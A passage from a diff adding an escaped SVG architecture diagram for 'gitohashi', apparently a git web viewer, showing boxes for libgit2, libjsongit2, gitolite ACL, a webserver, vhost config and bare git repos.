rdf:resource\u003d\u0022http://purl.org/dc/dcmitype/StillImage\u0022/\u003e\n+\t\t\t\t\u003cdc:title/\u003e\n+\t\t\t\u003c/cc:Work\u003e\n+\t\t\u003c/rdf:RDF\u003e\n+\t\u003c/metadata\u003e\n+\t\u003cg transform\u003d\u0022translate(415.35 512.84)\u0022\u003e\n+\t\t\u003crect transform\u003d\u0022matrix(3.0565 0 0 3.0565 401.07 -1477)\u0022 x\u003d\u0022-265.34\u0022 y\u003d\u0022317.2\u0022 width\u003d\u002250.113\u0022 height\u003d\u002267.352\u0022 filter\u003d\u0022url(#p)\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022-411.39\u0022 y\u003d\u0022-509.09\u0022 width\u003d\u0022153.17\u0022 height\u003d\u0022205.86\u0022 fill\u003d\u0022#f9f9f9\u0022/\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(3.0565 0 0 3.0565 -496.6 -880.17)\u0022\u003e\n+\t\t\t\u003cg fill-opacity\u003d\u0022.96694\u0022\u003e\n+\t\t\t\t\u003crect x\u003d\u002256.207\u0022 y\u003d\u0022125.64\u0022 width\u003d\u00224.002\u0022 height\u003d\u00224.002\u0022/\u003e\n+\t\t\t\t\u003crect x\u003d\u002256.337\u0022 y\u003d\u0022126.01\u0022 width\u003d\u00223.7662\u0022 height\u003d\u00223.5157\u0022 fill\u003d\u0022#e6e6e6\u0022/\u003e\n+\t\t\t\t\u003crect x\u003d\u002250.767\u0022 y\u003d\u0022125.65\u0022 width\u003d\u00224.002\u0022 height\u003d\u00224.002\u0022/\u003e\n+\t\t\t\t\u003crect x\u003d\u002250.898\u0022 y\u003d\u0022126.01\u0022 width\u003d\u00223.7662\u0022 height\u003d\u00223.5157\u0022 fill\u003d\u0022#e6e6e6\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.2521px\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m51.444 126.56h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m51.429 128.12h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m51.447 127.33h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m51.442 128.89h2.6628\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003crect x\u003d\u002261.599\u0022 y\u003d\u0022125.64\u0022 width\u003d\u00224.002\u0022 height\u003d\u00224.002\u0022 fill-opacity\u003d\u0022.96694\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u002261.73\u0022 y\u003d\u0022126.01\u0022 width\u003d\u00223.7662\u0022 height\u003d\u00223.5157\u0022 fill\u003d\u0022#e6e6e6\u0022 fill-opacity\u003d\u0022.96694\u0022/\u003e\n+\t\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.2521px\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m62.276 126.56h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m62.261 128.11h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m62.279 127.33h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m62.274 128.88h2.6628\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003crect x\u003d\u002266.768\u0022 y\u003d\u0022125.64\u0022 width\u003d\u00224.002\u0022 height\u003d\u00224.002\u0022 fill-opacity\u003d\u0022.96694\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u002266.899\u0022 y\u003d\u0022126.01\u0022 width\u003d\u00223.7662\u0022 height\u003d\u00223.5157\u0022 fill\u003d\u0022#e6e6e6\u0022 fill-opacity\u003d\u0022.96694\u0022/\u003e\n+\t\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.2521px\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m67.446 126.56h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m67.431 128.11h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m67.449 127.33h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m67.443 128.88h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m56.884 126.56h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m56.869 128.11h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m56.887 127.33h2.6628\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m56.881 128.88h2.6628\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-323.32-482.82 4.1235-4.8344 5.4201 3.0824-2.1791 0.54603 2.3757 16.814 2.5776-0.4222-4.5552 5.6614-5.6312-4.3711 2.5474-0.6064-2.6534-16.202z\u0022 fill\u003d\u0022#80b3ff\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022#b9b5ad\u0022 fill-opacity\u003d\u0022.44215\u0022\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-283.96\u0022 cy\u003d\u0022-467.3\u0022 rx\u003d\u00228.7004\u0022 ry\u003d\u00229.0237\u0022/\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-297.31\u0022 cy\u003d\u0022-457.44\u0022 rx\u003d\u002210.079\u0022 ry\u003d\u002210.453\u0022/\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-306.6\u0022 cy\u003d\u0022-466.3\u0022 rx\u003d\u002210.079\u0022 ry\u003d\u002210.453\u0022/\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-287.63\u0022 cy\u003d\u0022-458.01\u0022 rx\u003d\u002210.768\u0022 ry\u003d\u002211.168\u0022/\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-302.45\u0022 cy\u003d\u0022-456.3\u0022 rx\u003d\u002210.079\u0022 ry\u003d\u002210.453\u0022/\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-293.59\u0022 cy\u003d\u0022-456.58\u0022 rx\u003d\u002210.079\u0022 ry\u003d\u002210.453\u0022/\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-290.16\u0022 cy\u003d\u0022-467.73\u0022 rx\u003d\u002210.079\u0022 ry\u003d\u002210.453\u0022/\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-283.87\u0022 cy\u003d\u0022-460.87\u0022 rx\u003d\u002210.079\u0022 ry\u003d\u002210.453\u0022/\u003e\n+\t\t\t\u003cellipse cx\u003d\u0022-293.59\u0022 cy\u003d\u0022-462.01\u0022 rx\u003d\u002210.079\u0022 ry\u003d\u002210.453\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-283.62-465.6c0.0418-2.652-3.4128 0.46416-3.6124-1.8176-1.1318-1.3588-3.4826-0.0716-4.2929-0.52486-0.30229-2.0942-3.1475-1.4227-4.5071-0.79725-1.2335 1.1402-1.7945 2.9528-3.2083 3.8028-0.19439 1.2482 0.19592 2.2774 0.93216 2.9272-1.8338 3e-3 -3.4976 2.7892-1.6491 3.9138 2.4896 0.0477-1.0793 1.989 0.79036 3.0696 0.89513 1.0666 2.3933 0.52255 3.1836 0.13477-0.11925 2.0519 2.935 3.188 3.8425 1.148 0.63426-0.8187 1.1654-1.7496 1.2942-0.173 1.6086 1.7336 3.9536 1.5435 5.5535 0.21028 1.0767 1.7048 3.5135 0.45656 3.8865-1.1952 1.6-0.68637 3.8393-1.4256 3.2482-3.6327 1.1865-1.4244 1.6056-3.9983-0.72052-4.5263-1.5888-0.67725 1.1491-3.1321-1.2826-3.1045-1.1644-0.17178-3.1598 0.36323-3.621 0.74604 0.0115-0.35502 1.2162-0.47909 0.1629-0.18126z\u0022 fill-opacity\u003d\u0022.082645\u0022/\u003e\n+\t\t\u003cellipse cx\u003d\u0022-301.24\u0022 cy\u003d\u0022-467.88\u0022 rx\u003d\u002210.079\u0022 ry\u003d\u002210.453\u0022 fill\u003d\u0022#b9b5ad\u0022 fill-opacity\u003d\u0022.44215\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-282.07-463.1c0.0434-2.7418-3.5283 0.47991-3.7348-1.8791-1.17-1.4048-3.6005-0.074-4.4382-0.54266-0.31251-2.1651-3.2541-1.4709-4.6598-0.82423-1.2753 1.1788-1.8552 3.0527-3.3169 3.9316-0.20111 1.2905 0.20264 2.3546 0.9637 3.0263-1.8958 6e-3 -3.616 2.8837-1.7049 4.0463 2.5739 0.0496-1.1158 2.0563 0.8171 3.1735 0.92544 1.1027 2.4744 0.54026 3.2914 0.13937-0.12313 2.1214 3.0343 3.296 3.9726 1.187 0.65575-0.84645 1.2049-1.8089 1.338-0.1788 1.6631 1.7922 4.0875 1.5958 5.7416 0.21762 1.1132 1.7625 3.6325 0.47202 4.0181-1.2357 1.6542-0.70963 3.9693-1.4739 3.3582-3.7557 1.2266-1.4727 1.66-4.1337-0.7449-4.6796-1.6426-0.70024 1.188-3.2382-1.326-3.2096-1.2039-0.1776-3.2668 0.37553-3.7436 0.77128 0.0129-0.36703 1.2574-0.49531 0.16841-0.18736z\u0022 fill-opacity\u003d\u0022.082645\u0022/\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-291.38-486.05 6.2954-0.8617 1.9919 5.9085-1.9895-1.0434-9.4224 14.128 2.2043 1.4011-7.1681 1.1913-1.2913-7.0106 2.3044 1.2436 8.8072-13.855z\u0022 fill\u003d\u0022#2a7fff\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-308.16-484.98 5.5033-3.1761 4.0764 4.7182-2.2362-0.21458-3.387 16.64 2.5703 0.46449-6.1869 3.811-3.8441-6.0033 2.6034 0.28091 2.9203-16.156z\u0022 fill\u003d\u0022#59f\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-337.6-480.88 2.9406-5.6328 5.9713 1.795-2.0023 1.0186 6.0684 15.86 2.4183-0.9868-3.1768 6.5352-6.4647-3.0041 2.3478-1.1596-6.2025-15.201z\u0022 fill\u003d\u0022#acf\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-325.74-469.42 0.31946 0.68126 19.586-7.1481-0.28578-0.71481z\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-289.56-457.52c0.49875 0.0599 1.0213 0.44279 1.5026 0.26591 0.65169-0.28578 1.3034-0.57136 1.9551-0.85701 0.84719 0.16749 1.6944 0.33492 2.5416 0.50239 0.85703-0.41373 1.714-0.82749 2.5711-1.2412 0.3251 0.0886 0.65015 0.17728 0.97525 0.26593 0.4269-0.18279-0.27356-0.31746-0.41401-0.46901-0.36253-0.19165-0.7055-0.4534-1.116-0.52266-0.29771 0.12873-0.57103 0.34012-0.90633 0.37683-0.34863 0.0667-0.69517 0.15895-0.96106 0.41023-0.306 0.29281-0.73018-0.0529-1.0946-0.0759-0.24514-0.0651-0.75997-0.18279-0.83486-0.21427 0.53438 0.0764 1.0688 0.15253 1.6032 0.22894 0.39315-0.49409 0.76716-1.0034 1.1722-1.488 0.42504-0.36192 0.96079-0.20754 1.4649-0.17392 0.20448 0.0648 0.63674 0.0547 0.52239-0.22985-0.64233-0.16292-1.2689-0.39158-1.911-0.55984-0.46472-0.10359-0.67559 0.2271-0.90415 0.56702-0.25431 0.27386-0.59587 0.48981-0.73541 0.85006-0.33301 0.0331-0.68062-0.0965-1.0194-0.12471-0.35735-0.0562-0.71469-0.11221-1.0721-0.16841-1.2374 0.51187-2.4818 1.0063-3.7236 1.5072 0.0369 0.31067-0.10762 0.71662 0.17239 0.94018 0.0703 0.0697 0.14268 0.14367 0.21183 0.20998z\u0022 fill\u003d\u0022#fea\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-321.86-475.01c0.44628-0.23199 0.79613-0.75875 1.3252-0.73778 0.54092 0.0523 1.1574-0.18492 1.6114 0.19378 0.39478 0.17728 0.70078 0.44965 0.89128 0.83887 0.3932 0.56568 1.0391 0.85125 1.5885 1.2339 1.063 0.60767 2.147 1.1792 3.2521 1.707l-1.2889 2.1987c-1.2181 0.50814-2.4536 0.98072-3.6607 1.5116-0.33754 0.12528-0.74213 0.74335-0.99259 0.22893-0.5381-0.59703-1.0762-1.1941-1.6142-1.7912-0.20203-0.57284-0.40435-1.1457-0.60655-1.7185 0.11854-0.27141 0.78405-1.0904 0.70907-1.2752-0.35428-0.055-0.63278 0.36982-0.98706 0.31479-0.27478-0.28425-0.54656-0.64288-0.28487-0.95999 0.11365-0.23169 0.1724-0.57311-0.2381-0.5059-0.10819-0.2439 0.26868-0.57056 0.31904-0.85904-9e-3 -0.12658-0.0152-0.25369-0.0244-0.37992z\u0022 fill\u003d\u0022#1a1a1a\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022-395.99\u0022 y\u003d\u0022-414.09\u0022 width\u003d\u0022124.66\u0022 height\u003d\u002274.331\u0022 fill\u003d\u0022#b7b7c8\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022-388.85\u0022 y\u003d\u0022-377.61\u0022 width\u003d\u002288.391\u0022 height\u003d\u002233.959\u0022 fill\u003d\u0022#ffe6d5\u0022/\u003e\n+\t\t\u003cpath d\u003d\u0022m-296.23-363.56h-4.5695\u0022 fill\u003d\u0022none\u0022 marker-end\u003d\u0022url(#h)\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0301\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022-357.79\u0022 y\u003d\u0022-370.92\u0022 width\u003d\u002248.864\u0022 height\u003d\u002222.049\u0022 fill\u003d\u0022#808080\u0022/\u003e\n+\t\t\u003ctext x\u003d\u0022-332.84207\u0022 y\u003d\u0022-356.02515\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u002212.143px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u00221.5179\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-332.84207\u0022 y\u003d\u0022-356.02515\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.5179\u0022\u003elibgit2\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003cg fill\u003d\u0022#4d4d4d\u0022\u003e\n+\t\t\t\u003crect x\u003d\u0022-361.03\u0022 y\u003d\u0022-335.3\u0022 width\u003d\u002213.333\u0022 height\u003d\u002213.197\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u0022-346.88\u0022 y\u003d\u0022-335.3\u0022 width\u003d\u002213.333\u0022 height\u003d\u002213.197\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u0022-332.87\u0022 y\u003d\u0022-335.3\u0022 width\u003d\u002213.333\u0022 height\u003d\u002213.197\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u0022-318.72\u0022 y\u003d\u0022-335.3\u0022 width\u003d\u002213.333\u0022 height\u003d\u002213.197\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-293.67-325.94 0.28578-34.865\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0301\u0022/\u003e\n+\t\t\u003ctext x\u003d\u0022-371.08359\u0022 y\u003d\u0022-380.12827\u0022 fill\u003d\u0022#000080\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00227.4761px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.93452\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-371.08359\u0022 y\u003d\u0022-380.12827\u0022 fill\u003d\u0022#000080\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.93452\u0022\u003elibjsongit2\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003ctext x\u003d\u0022-333.21021\u0022 y\u003d\u0022-314.30743\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00227.2774px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.90968\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-333.21021\u0022 y\u003d\u0022-314.30743\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.90968\u0022\u003eyour bare git repos\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0285px\u0022\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-354.5-349.5v12.289\u0022 marker-end\u003d\u0022url(#e)\u0022 marker-start\u003d\u0022url(#w)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-339.98-349.35v12.289\u0022 marker-end\u003d\u0022url(#j)\u0022 marker-start\u003d\u0022url(#x)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-326.32-349.35v12.289\u0022 marker-end\u003d\u0022url(#k)\u0022 marker-start\u003d\u0022url(#ab)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-311.72-349.5v12.289\u0022 marker-end\u003d\u0022url(#d)\u0022 marker-start\u003d\u0022url(#ac)\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003ctext x\u003d\u0022-282.49365\u0022 y\u003d\u0022-356.62146\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00224.8827px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.61033\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-282.49365\u0022 y\u003d\u0022-356.62146\u0022\u003egitolite\u003c/tspan\u003e\u003ctspan x\u003d\u0022-282.49365\u0022 y\u003d\u0022-350.51813\u0022\u003eACL\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(3.0565 0 0 3.0565 -496.6 -880.17)\u0022 fill\u003d\u0022#800000\u0022 stroke-width\u003d\u0022.70932\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal\u0022 aria-label\u003d\u0022ohashi\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m33.567 131.54q0 0.7592-0.32141 1.1831-0.32141 0.42116-0.88111 0.42116-0.35466 0-0.6262-0.19395-0.27154-0.19396-0.41839-0.55693-0.14685-0.36575-0.14685-0.85341 0-0.75088 0.31864-1.172 0.31864-0.42393 0.88388-0.42393 0.54585 0 0.86726 0.43225 0.32418 0.42947 0.32418 1.1637zm-1.6403 0q0 0.48212 0.10529 0.72872t0.33804 0.2466q0.44333 0 0.44333-0.97532 0-0.48489-0.10806-0.72318-0.10529-0.24106-0.33527-0.24106-0.23275 0-0.33804 0.24106-0.10529 0.23829-0.10529 0.72318z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m35.623 133.09v-1.8398q0-0.67885-0.34081-0.67885-0.25491 0-0.35743 0.26877-0.10252 0.266-0.10252 0.76751v1.4824h-0.73703v-4.3114h0.73703v0.95869q0 0.18565-0.03325 0.66222h0.03879q0.22166-0.45441 0.68162-0.45441 0.42393 0 0.64005 0.28816 0.21612 0.2854 0.21612 0.84233v2.0144z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m38.48 133.09-0.14685-0.42116h-0.01662q-0.16348 0.27153-0.33804 0.37405t-0.44056 0.10252q-0.34081 0-0.53754-0.25491-0.19396-0.25491-0.19396-0.70932 0-0.48766 0.266-0.72318 0.26877-0.23829 0.80076-0.26323l0.41008-0.0166v-0.22167q0-0.43224-0.37406-0.43224-0.27708 0-0.63728 0.21612l-0.25491-0.50983q0.45995-0.29093 1.0003-0.29093 0.49043 0 0.74534 0.28262 0.25768 0.27985 0.25768 0.79522v2.0726zm-0.64005-0.52091q0.20227 0 0.32141-0.1801 0.12192-0.18288 0.12192-0.48489v-0.26046l-0.2272 0.0111q-0.25214 0.0139-0.37129 0.14409-0.11637 0.13022-0.11637 0.38791 0 0.38237 0.27154 0.38237z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m41.273 132.18q0 0.45164-0.266 0.70655-0.26323 0.25214-0.77859 0.25214-0.45718 0-0.75643-0.1801v-0.64005q0.15239 0.10529 0.35466 0.17456 0.20504 0.0693 0.3602 0.0693 0.17179 0 0.26046-0.0831 0.09144-0.0859 0.09144-0.22443 0-0.14131-0.09421-0.2466t-0.34635-0.25769q-0.33527-0.19949-0.48212-0.42393-0.14408-0.2272-0.14408-0.53476 0-0.39346 0.26877-0.62343 0.27154-0.22998 0.74257-0.22998 0.41008 0 0.77305 0.21612l-0.24106 0.52923q-0.29648-0.16071-0.52091-0.16071-0.14131 0-0.21335 0.0748-0.06927 0.0748-0.06927 0.18287 0 0.12469 0.0859 0.22167 0.08866 0.097 0.32695 0.24106 0.28816 0.17456 0.40454 0.29647 0.11637 0.12192 0.1801 0.27708 0.06373 0.15517 0.06373 0.36298z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m43.281 133.09v-1.8398q0-0.67885-0.34081-0.67885-0.25491 0-0.35743 0.26877-0.10252 0.266-0.10252 0.76751v1.4824h-0.73703v-4.3114h0.73703v0.95869q0 0.18565-0.03325 0.66222h0.03879q0.22166-0.45441 0.68162-0.45441 0.42393 0 0.64005 0.28816 0.21612 0.2854 0.21612 0.84233v2.0144z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m45.368 133.09h-0.73703v-3.0867h0.73703zm-0.76751-3.893q0-0.18288 0.10529-0.28817 0.10806-0.10806 0.29925-0.10806 0.1801 0 0.28816 0.10806 0.10806 0.10529 0.10806 0.28817 0 0.18841-0.11083 0.2937-0.11083 0.10252-0.28539 0.10252-0.18287 0-0.2937-0.10252-0.11083-0.10529-0.11083-0.2937z\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(3.0565 0 0 3.0565 -496.6 -880.17)\u0022 stroke-width\u003d\u0022.72485\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal\u0022 aria-label\u003d\u0022git\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m33.647 125.02v0.44171l-0.37658 0.0849q0.11043 0.19821 0.11043 0.49834 0 0.50117-0.27182 0.78431-0.27182 0.28315-0.75883 0.28315-0.14157 0-0.20953-0.0226-0.0538 0.0481-0.10193 0.10759-0.04813 0.0595-0.04813 0.14724 0 0.1982 0.34261 0.1982h0.45586q0.40207 0 0.61726 0.21802 0.21802 0.21519 0.21802 0.65124 0 0.5493-0.36809 0.84943-0.36809 0.30014-1.059 0.30014-0.52382 0-0.80696-0.22935-0.28315-0.22652-0.28315-0.64841 0-0.26332 0.16139-0.46435 0.16139-0.19821 0.44737-0.28881-0.1444-0.0566-0.23784-0.17555-0.09061-0.11892-0.09061-0.27748 0-0.0963 0.02831-0.17272 0.02831-0.0793 0.07928-0.14724 0.0538-0.0708 0.21519-0.20669-0.19537-0.11893-0.30863-0.36526-0.11326-0.24634-0.11326-0.54647 0-0.51816 0.27182-0.8013 0.27182-0.28315 0.77865-0.28315 0.09627 0 0.22085 0.0226 0.12458 0.0198 0.18971 0.0425zm-1.8546 3.6073q0 0.18687 0.11609 0.28597 0.11892 0.10193 0.33694 0.10193 0.34261 0 0.51249-0.13024 0.17272-0.13025 0.17272-0.35677 0-0.17838-0.09344-0.25199-0.09061-0.0736-0.3426-0.0736h-0.36526q-0.1529 0-0.24634 0.11326-0.09061 0.11609-0.09061 0.31146zm0.23218-2.5823q0 0.5578 0.31429 0.5578 0.3058 0 0.3058-0.56346 0-0.57762-0.3058-0.57762-0.31429 0-0.31429 0.58328z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m34.785 128.17h-0.75317v-3.1542h0.75317zm-0.78431-3.9782q0-0.18688 0.1076-0.29447 0.11043-0.11043 0.3058-0.11043 0.18404 0 0.29447 0.11043 0.11043 0.10759 0.11043 0.29447 0 0.19254-0.11326 0.30013-0.11326 0.10477-0.29164 0.10477-0.18688 0-0.30013-0.10477-0.11326-0.10759-0.11326-0.30013z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m36.526 127.59q0.15856 0 0.34261-0.0793v0.58894q-0.18404 0.12742-0.55213 0.12742-0.41056 0-0.60876-0.24351-0.1982-0.24633-0.1982-0.73617v-1.6338h-0.3058v-0.33695l0.39357-0.27181 0.19254-0.66823h0.48135v0.67955h0.57195v0.59744h-0.57195v1.6592q0 0.31712 0.25483 0.31712z\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003ctext x\u003d\u0022-380.66119\u0022 y\u003d\u0022-416.86029\u0022 fill\u003d\u0022#000080\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00227.4337px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.92921\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-380.66119\u0022 y\u003d\u0022-416.86029\u0022 fill\u003d\u0022#000080\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.92921\u0022\u003egitohashi\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-287.49-373.29h-12.289\u0022 fill\u003d\u0022none\u0022 marker-end\u003d\u0022url(#g)\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0294\u0022/\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003ctext x\u003d\u0022-279.01175\u0022 y\u003d\u0022-374.48941\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00224.9183px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.61478\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-279.01175\u0022 y\u003d\u0022-374.48941\u0022\u003evhost\u003c/tspan\u003e\u003ctspan x\u003d\u0022-279.01175\u0022 y\u003d\u0022-368.34158\u0022\u003econfig\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003crect x\u003d\u0022-334.7\u0022 y\u003d\u0022-441.53\u0022 width\u003d\u002254.172\u0022 height\u003d\u002218.538\u0022 fill\u003d\u0022#00f\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u0022-306.91687\u0022 y\u003d\u0022-432.90109\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00228.7318px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u00221.0915\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-306.91687\u0022 y\u003d\u0022-432.90109\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.0915\u0022\u003ewebserver\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m-311.3-448.38v6.9969\u0022 fill\u003d\u0022none\u0022 marker-end\u003d\u0022url(#f)\u0022 marker-start\u003d\u0022url(#y)\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.77603px\u0022/\u003e\n+\t\t\u003ctext x\u003d\u0022-293.15182\u0022 y\u003d\u0022-416.7309\u0022 